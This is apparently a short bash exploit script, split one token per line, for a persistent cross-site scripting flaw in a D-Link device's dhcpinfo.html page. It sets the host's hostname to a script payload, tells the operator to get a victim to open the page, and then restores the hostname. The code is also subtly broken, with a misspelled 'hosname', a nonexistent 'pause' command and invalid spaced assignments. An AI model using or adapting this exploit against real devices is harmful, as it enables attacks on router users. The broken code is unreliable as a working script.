#!/bin/bash
if
[
"$(id -u)"
!=
"0"
];
then
echo
"Please execute this script as root"
exit
1
fi
xss =
"\"<script>alert('pwned');</script>"
currhost = `
hostname
`
echo
""
echo
" D-Link Persistent XSS by tisf"
echo
""
echo
"The page dhcpinfo.html is the vulnerable page."
echo
"Ask the user to access it and your persistent XSS will be triggered."
echo
""
sudo
hosname $xss
pause
"Type any key to exit and restore your previous hostname."
sudo
hostname
$currhost